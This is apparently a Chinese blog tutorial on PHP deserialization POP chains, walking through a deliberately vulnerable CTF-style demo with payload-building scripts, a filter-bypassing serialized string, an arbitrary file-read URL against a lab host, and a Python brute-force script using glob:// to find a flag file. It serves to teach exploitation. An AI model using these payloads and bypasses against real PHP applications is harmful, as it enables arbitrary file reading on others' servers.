POP介绍

面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。

在二进制利用时,ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,当然进行反序列化的数据能够被用户输入所控制。

POP CHAIN:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性关联,就是POP CHAIN。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

POP链利用技巧

pop链中有用的方法

命令执行:exec()、passthru()、popen()、system()
文件操作:file_put_contents()、file_get_contents()、unlink()

方法介绍:

exec — 执行一个外部程序
passthru - 同 exec() 函数类似,也是用来执行外部命令
popen — 打开进程文件指针
system — 执行外部程序,并且显示输出
file_put_contents — 将一个字符串写入文件
file_get_contents — 将整个文件读入一个字符串    
unlink — 删除文件

反序列化中为了避免信息丢失,使用大写S支持字符串的编码。

php为了更加方便的进行反序列化内容的传输与显示(避免都是某些控制字符等信息),可以在序列化内容中使用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制进行表示,格式如下:

s:7:alexsel;->S:7:\61lexsel

在php中使用&对A变量指向变量B,这种情况属于浅拷贝,类似于C语言中的指针,这种情况就像A、B两个变量指向同一个地址,一但对变量B的内容进行修改,同样A的内容也被修改,这种就是浅拷贝。我们可以利用这种性质来进行绕过,比如在返反序列化的对象的某些变量被过滤了,但是其它变量可控的情况下就可以尝试利用浅拷贝及进行绕过。

我们还可以配合PHP伪协议实现文件的包含、命令执行等。如glob://查找匹配的文件路径模式。

实例练习

Demo-1

demo1.php

<?php
    class MyDirectory{
    public $name;
    public function __construct($name){
        $this->name = $name;
    }
    public function __toString(){
        //scandir列出指定路径中的文件和目录
        $num = count(scandir($this->name));
        if($num > 0){
            return "count $num files";
        }else{
            return "flag path is /flag_{{uuid}}";
        }
    }
}
    class MyFile{
        public $name;
        public $user;
        public function __construct($name,$user){
            $this->name = $name;
            $this->user = $user;
        }
        public function __toString(){
            return file_get_contents($this->name);
        }
        public function __wakeup(){
            //stristr返回一个字符串中,匹配指定字符串其以及其以后内容,i版不区分大小写
            if(stristr($this->name,"flag")!=False)
                //当带有flag字符串的时候
                $this->name = "hostname.txt";
            else
                //不带有flag字符串的时候
                $this->name = "test.txt";
            if(isset($_GET['user'])){
                $this->user = $_GET['user'];
            }
        }
        public function __destruct(){
            echo $this;
        }
    }
    if(isset($_GET['input'])){
        $input = $_GET['input'];
        //input输入的内容不能包含user,且不区分大小写
        if(stristr($input,'user')!=False){
            die('hacker');
        }else{
            unserialize($input);
        }
    }else{
        highlight_file(__FILE__);
    }
?>

通过分析我们可以知道,代码中一共有三个限制的地方:

  • MyDirectory类中,这里无法直接获取目标文件的名称,我们需要配合glob://协议来探测文件名。
  • MyFile类中,对name的内容做了限制,在__wakeup()方法中,对name做了限制,name字符串中包含了flag关键字,就会重新修改其中的内容,这里有两个点可以利用,通过之间我们用过的修改属性个数来绕过__wakeip()函数的执行。第二个点是我们根据代码发现$this->user的内容是可控的,我们可以利用浅拷贝来绕过。
  • 在最后的if判断中,限制了input参数的内容中不能包含user,否则就不进行反序列化,这里我们可以使用16进制编码绕过检测。

POP链构造

首先new一个MyFile类的对象,然后通过浅拷贝将$user赋值给$name,这样我们后续给$user赋值就可以导致$name的内容改变,接着调用了文件操作函数,最终造成了任意文件读取。

$obj = new MyFile() ----> 执行__construct()
$obj->name = &$obj->user  ---->通过浅拷贝控制变量name,绕过__wakeup()的过滤
最终在__toString()中调用了file_get_contents($this->name)从而造成了任意文件读取

构造payload

<?php
    class MyFile{
    public $name = "123";
    public $user = "";
    }
    $obj = new MyFile();
    $obj->name = &$obj->user;
    $strs = serialize($obj);
    $strs = str_replace("user","use\\72",$strs);
    $strs = str_replace("s:","S:",$strs);
    var_dump($strs);
?>

最终结果:

O:6:"MyFile":2:{S:4:"name";S:0:"";S:4:"use\72";R:2;}

其中R就代表指针引用。

我们可以尝试读取改文件目录下的target1.txt文件内容,这个文件为测试而创建的txt文件

http://192.168.252.182/pop/demo1.php?input=O:6:"MyFile":2:{S:4:"name";S:0:"";S:4:"use\72";R:2;}&user=target1.txt

接下来我们就需要获取flag文件名,但是读取但是我们无法直接获得flag的文件名,所以我们需要使用glob协议来进行文件名的探测,不过这些内容都需要在类MyDirectory中,我们需要想办法执行MyDirectory中的__toString方法。

首先我们解决调用MyDirectory类,这里我们构造反序列化的时候直接将类MyFile$name赋值为MyDirectory所创建的对象,然后在MyFile代码中,stristr()函数和file_get_contents()都会执行类的__toString()方法,接着MyDirectory中的name变量我们使用glob协议,这样就可以完成flag文件名的探测。

<?php
    class MyDirectory{
    public $name = "glob:////flag_";
    }
    class MyFile{
        public $name = "";
        public $user = "";
    }
    $obj = new MyFile();
    $obj->name = new MyDirectory();
    $strs = serialize($obj);
    var_dump($strs);
?>

输出结果:

O:6:"MyFile":2:{s:4:"name";O:11:"MyDirectory":1:{s:4:"name";s:14:"glob:////flag_";}s:4:"user";s:0:"";}

我们通过以上代码的逻辑,我们可以知道,文件存在就会返回文件个数,如果文件不存在返回一个提示字符串,这里由于我们要使用glob协议,使用这个协议我们可以像使用正则类似,用*来匹配任意字符,当目标不存在时候会返回长度为0的数组,正好和代码中的逻辑符合,那么接下来我们就针对这个逻辑进行暴破脚本的编写,如果文件存在就会输出test.txt文件中的内容test!如果不存在就会输出hostname.txt里的内容nothing!

import requests

url = "http://192.168.252.182/pop/demo1.php"
flag = ""

for num in range(1,32):                     #_后面最大遍历长度
    for i in range(32,128):                 #遍历字符
        if i == 37 or i == 42 or i == 63:   #这几个字符在文件命令中不支持,直接跳过
            continue
        payload = '?input=O:6:"MyFile":2:{s:4:"name";O:11:"MyDirectory":1:{s:4:"name";s:'+str(15+num)+':"glob://.\\flag_'+flag+str(chr(i))+'%2a";}S:4:"use\72";s:0:"";}'
        target = url+payload
        contents = requests.get(target).content
        contents = str(contents)
        if "test!" in contents:
            print(flag)
            flag += str(chr(i))
print(flag)

最终得到了文件名flag_alexsel.txt

得到文件名之后我们继续进行文件读取就可以拿到flag

参考文章:

https://www.jianshu.com/p/16c56bebc63d
https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

最后修改:2020 年 08 月 31 日
如果觉得我的文章对你有用,请随意赞赏